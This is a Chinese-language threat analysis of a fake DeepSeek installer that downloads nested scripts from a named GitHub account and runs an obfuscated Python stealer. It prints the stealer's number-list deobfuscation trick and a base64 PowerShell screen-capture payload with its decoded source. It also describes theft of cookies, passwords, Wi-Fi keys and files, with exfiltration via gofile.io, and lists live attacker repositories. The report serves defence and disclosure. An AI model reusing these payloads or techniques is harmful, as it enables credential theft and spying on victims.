背景
在日常样本巡逻中,我们在今天发现了一个名为Install_DeepSeek.exe
的可疑样本在传播,如下图所示:
该样本打着DeepSeek的图标,无有效数字签名,pdb路径为C:\Users\Administrator\source\repos\Bind\Bind\obj\Release\Bind.pdb
,这引起了我们的警觉和怀疑,如下图所示:
经过分析,我们确定,该样本会从黑客GitHub仓库中下载多层脚本和下载者,嵌套下载,最终通过下载得到一个使用Python编写的恶意脚本用于执行后门行为并窃取密码。截至本文撰写时该py脚本首次在VirusTotal多引擎扫描平台上传并扫描,静态检出率为0%,如下图所示:
同时,我们发现黑客的GitHub账户上有多个类似的仓库,均在几个月或几周前上传了恶意软件,如下图所示:
样本分析
Install_DeepSeek.exe
的主要行为是下载https://github.com/nvslks/g/raw/refs/heads/g/g.zip
,如下图所示:
在https://github.com/nvslks/g
仓库中有一个Bind.exe
,经过分析后确认行为与上述Install_DeepSeek.exe
基本一致,如下图所示:
我们将g.zip
下载后分析,发现里面压缩了一个g.bat
,如下图所示:
g.bat
的行为依次是:
- 下载
https://github.com/nvslks/g/raw/refs/heads/g/1.zip
- 将下载到的文件保存为
%TEMP%\4g5h790g2345h7890g2345h90g2345h-890v2345hf789-3v5h.zip
- 使用PowerShell解压缩
%TEMP%\4g5h790g2345h7890g2345h90g2345h-890v2345hf789-3v5h.zip
至%TEMP%
- 隐藏执行PowerShell,启动
%TEMP%\1.bat
,然后退出
如下图所示:
在1.zip
之中,我们发现里面携带了一个Python环境,如下图所示:
其中,压缩包内伪装的svchost.exe
是Python 3.11.150.1013
解释器,如下图所示:
1.bat
的作用是:使用压缩包内携带的Python解释器执行同目录下的python.py
,如下图所示:
该恶意软件的核心组件就是该python.py
,我们对其进行分析。
进入python.py
后,我们发现代码可能经过了混淆或最小化处理,无法直接进行阅读,如下图所示:
样本将代码字符转换为了列表中的数字,将列表存储进xlicesvaoy
变量中,执行时再通过以下代码还原出原先的代码并执行:
xlicesvaoy = ''.join([chr(int(x) - 79) for x in xlicesvaoy])
exec(xlicesvaoy)
我们将xlicesvaoy
列表复制出来,执行decoded = ''.join(chr(int(n)-79) for n in xlicesvaoy)
再将decoded
输出或写入至文件就可以得到该Python脚本的可读代码,如下图所示:
代码中的常量,如下图所示(木马后续的代码逻辑可能会见到,因此先进行展示):
进入代码后,首先最令人难忘的是一堆brouwser_paths
,如下图所示:
在此之后紧接着的是class Maincookie
,该class下的函数会寻找浏览器和浏览器User Data
位置,尝试使用命令行taskkill /f /im ProcessName
的方式结束正在运行的浏览器进程;命令行参数指定User Data目录,以调试模式启动浏览器进程;提取并保存浏览器cookies,压缩为zip(获取国家和IP地址作为zip压缩包文件名)并上传发送给黑客,相关代码如下图所示:
之后一个class Variables
用于初始化变量,从变量名中可以看到该后门木马会尝试获取浏览器Cookies、浏览器历史记录、浏览器文件下载记录、浏览器书签、无线局域网SSID及密码、系统信息、剪贴板内容、进程列表、一些社交软件&游戏平台账号Tokens等,如下图所示:
class SubModules
下的函数主要进行一些加解密操作(例如解密密码等)、创建互斥体、判断当前状态下是否具有管理员权限等,相关代码如下图所示:
接下来是class StealSystemInformation
下的函数:
GetDefaultSystemEncoding(self)
函数在cmd.exe
中执行chcp
命令获取当前系统cmd
命令行输出内容的编码方式。
StealSystemInformation(self)
函数通过命令行执行并输出System Info
(systeminfo, 系统信息)&tasklist
(进程列表)&tasklist /svc
(进程和服务的对应关系)&ipconfig
(TCP/IP配置的设置值)&ipconfig/all
(TCP/IP配置的详细信息)&Route Table
(路由表)&route print
(当前路由表中的所有条目)&Firewallinfo
(防火墙信息)等。
StealProcessInformation(self)
函数通过执行tasklist /FO LIST
命令获取list
格式的当前进程列表。
StealLastClipBoard(self)
函数通过执行PowerShell
中Get-Clipboard
命令获取当前剪贴板内容
StealNetworkInformation(self)
函数获取IP地址、国家、城市、时区、运营商
StealWifiInformation(self)
函数获取本地无线局域网信息、无线局域网SSID及密码
相关代码如下图所示:
该木马程序的核心实现部分在class Main
下,Main class下的变量和函数非常多,不再一一展示,Main class的结构大纲如下图所示:
需要特别提及的是,该木马获取屏幕截图是在Main class下的WriteToText(self)
函数下,通过执行base64
编码过的PowerShell
命令:
command = "JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAAUwBjAHIAZQBlAG4AcwBoAG8AdAANAAoAewANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AIABDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAHIAZQBzAHUAbAB0AHMAIAA9ACAAbgBlAHcAIABMAGkAcwB0ADwAQgBpAHQAbQBhAHAAPgAoACkAOwANAAoAIAAgACAAIAAgACAAIAAgAHYAYQByACAAYQBsAGwAUwBjAHIAZQBlAG4AcwAgAD0AIABTAGMAcgBlAGUAbgAuAEEAbABsAFMAYwByAGUAZQBuAHMAOwANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoAFMAYwByAGUAZQBuACAAcwBjAHIAZQBlAG4AIABpAG4AIABhAGwAbABTAGMAcgBlAGUAbgBzACkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAYwB0AGEAbgBnAGwAZQAgAGIAbwB1AG4AZABzACAAPQAgAHMAYwByAGUAZQBuAC4AQgBvAHUAbgBkAHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEIAaQB0AG0AYQBwACAAYgBpAHQAbQBhAHAAIAA9ACAAbgBlAHcAIABCAGkAdABtAGEAcAAoAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIABiAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0ACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAKABHAHIAYQBwAGgAaQBjAHMAIABnAHIAYQBwAGgAaQBjAHMAIAA9ACAARwByAGEAcABoAGkAYwBzAC4ARgByAG8AbQBJAG0AYQBnAGUAKABiAGkAdABtAGEAcAApACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKABuAGUAdwAgAFAAbwBpAG4AdAAoAGIAbwB1AG4AZABzAC4ATABlAGYAdAAsACAAYgBvAHUAbgBkAHMALgBUAG8AcAApACwAIABQAG8AaQBuAHQALgBFAG0AcAB0AHkALAAgAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcgBlAHMAdQBsAHQAcwA7AA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKACIAQAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoAJABzAGMAcgBlAGUAbgBzAGgAbwB0AHMAIAA9ACAAWwBTAGMAcgBlAGUAbgBzAGgAbwB0AF0AOgA6AEMAYQBwAHQAdQByAGUAUwBjAHIAZQBlAG4AcwAoACkADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
解码后命令为:
$source = @"
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
public class Screenshot
{
public static List<Bitmap> CaptureScreens()
{
var results = new List<Bitmap>();
var allScreens = Screen.AllScreens;
foreach (Screen screen in allScreens)
{
try
{
Rectangle bounds = screen.Bounds;
using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);
}
results.Add((Bitmap)bitmap.Clone());
}
}
catch (Exception)
{
}
}
return results;
}
}
"@
Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms
$screenshots = [Screenshot]::CaptureScreens()
for ($i = 0; $i -lt $screenshots.Count; $i++){
$screenshot = $screenshots[$i]
$screenshot.Save("./Display ($($i+1)).png")
$screenshot.Dispose()
}
如下图所示:
class UploadGoFile
下的upload_file(file_path)
函数会将待上传的文件上传到https://store1.gofile.io/contents/uploadfile
,然后获取到文件分享链接,之后程序再将文件分享链接上传发送给黑客,相关代码如下图所示:
class StealCommonFiles
下的函数会根据文件内容、文件大小、文件拓展名等文件特征选择性窃取文件,压缩为zip并上传发送给黑客(将国家、IP地址和文件所在驱动器号作为zip压缩包文件名),相关代码、关键词、文件拓展名,如下图所示:
程序在启动时会直接执行Maincookie
Main
class 下的函数和StealCommonFiles().StealFiles()
,如下图所示:
附录
(一)恶意行为者资产
GitHub账户:https://github.com/nvslks
相关GitHub仓库:
https://github.com/nvslks/g (本文分析样本)
https://github.com/nvslks/h
https://github.com/nvslks/f
https://github.com/nvslks/b
https://github.com/nvslks/a
https://github.com/nvslks/c
https://github.com/nvslks/e
https://github.com/nvslks/d
截至本文撰写时仍然可访问。
(二)本文分析样本Hash (SHA-256)
Install_DeepSeek.exe - c9d815df845f5e13e8ef1142cb2dec8f97a449d639be2b38bdd75beaacff70b8
Bind.exe - 9d09a10bfa2aeb89aba5e20e88fb4fc1f56392d859d0592db66221a9f00000c4
g.bat - 25696f0af2570b4ab6013ff7dcb6995dcfaff31323ad05b268a680a2411ccf0a
1.bat - 1003d1b243a01a0a518491d0af6c67e33b8d904762b5de167b39acec05ca46f4
python.py - f6d47d223401627eb4978b7582368854d271d6446b3137dac5ce99cb46efd886